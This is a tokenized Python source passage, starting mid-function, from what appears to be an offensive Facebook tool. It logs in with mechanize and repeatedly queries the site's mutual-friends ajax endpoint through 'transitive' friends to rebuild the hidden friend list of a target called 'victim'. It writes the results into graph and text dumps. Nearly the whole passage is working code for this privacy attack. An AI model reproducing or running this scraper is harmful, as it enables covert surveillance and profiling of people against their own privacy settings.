"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "browse", "r", "/", "list", "/", "mutual", "friends", "/?", "uid", "='_", "+_", "str_", "(_", "transiti", "ve", "Id_", ")_", "+_", "'&", "view", "=", "grid", "&", "location", "=", "other", "&", "infini", "tes", "cro", "ll", "=", "0", "&", "short", "=", "1", "&", "node", "='_", "+_", "str_", "(_", "victim", "Id_", ")_", "+_", "'&", "start", "='_", "+_", "str_", "(_", "start_", ")_", "+_", "'&", "\\u\\u", "user", "='_", "+_", "str_", "(_", "get", "C", "\\u", "user_", "(_", ")_", ")_", "+_", "'&", "\\u\\u", "a", "=", "1", "&\\u", "\\u", "dyn", "=", "7", "n", "8a", "hy", "j", "3", "5", "zo", "lg", "Dx", "qi", "h", "X", "z", "A", "&\\u", "\\u", "req", "=", "6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Strip", "s", " ", "the", " ", "web", " ", "response", " ", "for", " ", "fur", "ther", " ", "processes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "to", "\\u", "parse_", "=_", "str_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "._", "strip_", "(_", "'", "for", " ", "(", ";", ";)", ";'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Convert", "s", " ", "the", " ", "json", " ", "web", " ", "response", " ", "to", " ", "a", " ", "python", " ", "like", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json", "\\u", "dump_", "=_", "json_", "._", "loads_", "(_", "to", "\\u", "parse_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "on", " ", "json", " ", "load", "ing", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "non", "-", "blockin", "g", " ", "exce", "cut", "ion", " ", "-", " ", "The", " ", "upper", " ", "function", " ", "is", " ", "exc", "pect", "ing", " ", "a", " ", "list", " ", "to", " ", "be", " ", "returned_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "extend", "ed", "Friends", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Off", "set", " ", "represent", "s", " ", "the", " ", "start", " ", "offset", " ", "for", " ", "non", "-", "repetition", " ", "purpose", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Control", "s", " ", "the", " ", "end", " ", "of", " ", "the", " ", "module", " ", "exce", "cut", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "Non", "e", "Flag_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Sear", "ch", " ", "for", " ", "friends", " ", "to", " ", "be", " ", "added_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "element_", "in_", "range_", "(_", "len_", "(_", "json", "\\u", "dump_", "[_", "'", "js", "mod", "s", "'_", "]_", "[_", "'", "require", "'_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "json", "\\u", "dump_", "[_", "'", "js", "mod", "s", "'_", "]_", "[_", "'", "require", "'_", "]_", "[_", "element_", "]_", "[_", "0_", "]_", "==_", "unicode_", "(_", "'", "Add", "Friend", "Butt", "on", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Non", "e", "Flag_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extend", "ed", "Friends", "_", "._", "append_", "(_", "json", "\\u", "dump_", "[_", "'", "js", "mod", "s", "'_", "]_", "[_", "'", "require", "'_", "]_", "[_", "element_", "]_", "[_", "3_", "]_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "If", " ", "no", " ", "frie", "nd", " ", "was", " ", "adde", "d", ",", " ", "the", " ", "exce", "cut", "ion", " ", "ends_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "Non", "e", "Flag_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Increment", "s", " ", "offset", " ", "from", " ", "the", " ", "start", " ", "in", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start_", "+=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "End", " ", "of", " ", "the", " ", "whi", "le", ",", " ", "return", "s", " ", "the", " ", "new", " ", "list", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "extend", "ed", "Friends", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "User", "ID_", "(_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Grab", "s", " ", "the", " ", "user", " ", "Id", " ", "usi", "ng", " ", "the", " ", "Open", "Graph_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", "+_", "str_", "(_", "user_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "json", "\\u", "dump", " ", "=", " ", "json", ".", "load", "s", "(", "resultado", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "json", "\\u", "dump", "['", "id", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "-1", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "\"", "fb", "://", "profile", "/\"_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "match_", "._", "end_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "_", "=_", "re_", "._", "search_", "(_", "'\"'_", ",_", "data_", "[_", "start_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match", "Bis", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "data_", "[_", "start_", ":_", "start_", "+_", "match", "Bis", "_", "._", "start_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "File_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "dot", ".", "dot", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", "Graph", " ", "{\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "vo_", "=_", "get", "Name_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chab", "on_", "=_", "get", "Name_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "transiti", "vo_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "chab", "on_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "get", "User", "ID_", "(_", "transiti", "ve_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "trie", "d", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "will", " ", "still", " ", "be", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "a_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "email_", ",_", "password_", "=_", "set", "Mail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login_", "(_", "email_", ",_", "password_", ",_", "'", "real", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "transiti", "ve_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "frie", "nd", "Name_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "transiti", "ve_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ead", "y", " ", "analyse", "d", " ", "for", " ", "non", " ", "repe", "titi", "ven", "ess_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analysis_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "victim", "_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "transiti", "vo_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "simple", "Dot", "Graph_", "(_", "friends_", ",_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "dot", ".", "dot", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", "Graph", " ", " ", " ", " ", "{\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "friend_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", 